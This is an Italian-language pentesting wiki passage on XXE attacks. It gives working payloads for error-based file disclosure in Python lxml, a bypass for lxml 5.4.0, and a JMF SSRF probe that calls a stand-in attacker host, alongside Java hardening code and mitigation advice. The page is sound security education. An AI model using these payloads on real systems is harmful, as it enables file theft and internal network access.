XXE + WrapWrap + Lightyear + bypasses

Dai un'occhiata a questo fantastico rapporto https://swarm.ptsecurity.com/impossible-xxe-in-php/

Tools

GitHub - luisfontes19/xxexploiter: Tool to help exploit XXE vulnerabilities

Python lxml Parameter-Entity XXE (Error-Based File Disclosure)

1. Sfruttare lxml < 5.4.0

1. Identificare o creare un DTD locale su disco che definisca un'entità di parametro non definita (ad es. %config_hex;).
2. Creare un DTD interno che:

• Carica il DTD locale con <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">.
• Ridefinisce l'entità non definita in modo che:

• Legga il file di destinazione (<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">).
• Costruisca un'altra entità di parametro che si riferisce a un percorso non valido contenente il valore %flag; e attivi un errore del parser (<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">).

3. Infine, espandere %local_dtd; e %eval; in modo che il parser incontri %error;, non riesca ad aprire /aaa/<FLAG> e faccia trapelare il flag all'interno dell'eccezione sollevata – che viene spesso restituita all'utente dall'applicazione.

<!DOCTYPE colors [
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
<!ENTITY % config_hex '
<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
%eval;'>
%local_dtd;
]>

Quando l'applicazione stampa l'eccezione, la risposta contiene:

Error : failed to load external entity "file:///aaa/FLAG{secret}"

2. Bypassare il rafforzamento di lxml 5.4.0 (libxml2 ancora vulnerabile)

lxml ≥ 5.4.0 vieta le entità parametriche error come quella sopra, ma libxml2 consente ancora di incorporarle in un'entità generale. Il trucco è:

1. Leggere il file in un'entità parametrica %file.
2. Dichiarare un'altra entità parametrica che costruisce un'entità generale c il cui identificatore SYSTEM utilizza un protocollo inesistente come meow://%file;.
3. Posizionare &c; nel corpo XML. Quando il parser tenta di dereferenziare meow://… fallisce e riflette l'intero URI – inclusi i contenuti del file – nel messaggio di errore.

<!DOCTYPE colors [
<!ENTITY % a '
<!ENTITY % file SYSTEM "file:///tmp/flag.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
'>
%a; %b;
]>
<colors>&c;</colors>

Key takeaways

• Le entità parametro vengono ancora espanse da libxml2 anche quando resolve_entities dovrebbe bloccare XXE.
• Un URI non valido o un file inesistente è sufficiente per concatenare dati controllati nell'eccezione generata.
• La tecnica funziona senza connettività in uscita, rendendola ideale per ambienti con filtri di uscita rigorosi.

Mitigation guidance

• Aggiorna a lxml ≥ 5.4.0 e assicurati che il libxml2 sottostante sia ≥ 2.13.8.
• Disabilita load_dtd e/o resolve_entities a meno che non sia assolutamente necessario.
• Evita di restituire errori di parser raw al client.

Esempio di indurimento di Java DocumentBuilderFactory

Le applicazioni Java analizzano frequentemente XML utilizzando DocumentBuilderFactory. Per impostazione predefinita, la fabbrica consente la risoluzione delle entità esterne, rendendola vulnerabile a XXE e SSRF se non vengono impostati flag di indurimento aggiuntivi:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone

Esempio di configurazione sicura:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);

// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

DocumentBuilder builder = dbf.newDocumentBuilder();

Se l'applicazione deve supportare DTD internamente, mantieni disallow-doctype-decl disabilitato ma lascia sempre le due funzionalità external-*-entities impostate su false. La combinazione previene payload di divulgazione di file classici (file:///etc/passwd) così come vettori SSRF basati su rete (http://169.254.169.254/…, protocollo jar:, ecc.).

Studio di caso reale: CVE-2025-27136 nell'emulatore Java S3 LocalS3 utilizzava il costruttore vulnerabile mostrato sopra. Un attaccante non autenticato poteva fornire un corpo XML creato ad arte all'endpoint CreateBucketConfiguration e far sì che il server incorporasse file locali (ad esempio /etc/passwd) nella risposta HTTP.

XXE in JMF/Print Orchestration Services → SSRF

Alcune piattaforme di workflow/orchestrazione di stampa espongono un listener Job Messaging Format (JMF) rivolto alla rete che accetta XML su TCP. Se il parser sottostante accetta un DOCTYPE e risolve entità esterne, puoi sfruttare un classico XXE per costringere il server a effettuare richieste in uscita (SSRF) o accedere a risorse locali.

Punti chiave osservati nel mondo reale:

• Listener di rete (ad es., client JMF) su una porta dedicata (comunemente 4004 in Xerox FreeFlow Core).
• Parsing XML basato su Java all'interno di un jar (ad es., jmfclient.jar) senza disallow-doctype-decl o risoluzione delle entità disabilitata.
• Callback out-of-band confermano affidabilmente lo sfruttamento.

Probe SSRF in stile JMF minima (la struttura varia a seconda del prodotto, ma il DOCTYPE è ciò che conta):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>

Note:

• Sostituisci l'URL dell'entità con il tuo collaboratore. Se SSRF è possibile, il server lo risolverà durante l'analisi del messaggio.
• Indurimenti da cercare: disallow-doctype-decl=true, external-general-entities=false, external-parameter-entities=false.
• Anche quando la porta JMF non serve file, SSRF può essere concatenato per ricognizione interna o per raggiungere API di gestione legate a localhost.

Riferimenti per questo vettore sono elencati alla fine della pagina.

Riferimenti

• OffSec Blog – CVE-2025-27136 LocalS3 XXE

• https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf

• https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html

• Estrai informazioni tramite HTTP utilizzando il tuo DTD esterno: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/

• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection

• https://gist.github.com/staaldraad/01415b990939494879b4

• https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9

• https://portswigger.net/web-security/xxe

• https://gosecure.github.io/xxe-workshop/#7

• Dojo CTF Challenge #42 – Hex Color Palette XXE write-up

• lxml bug #2107279 – Parameter-entity XXE still possible

• Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)

• Xerox FreeFlow Core Security Guide (architecture/ports)

• Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5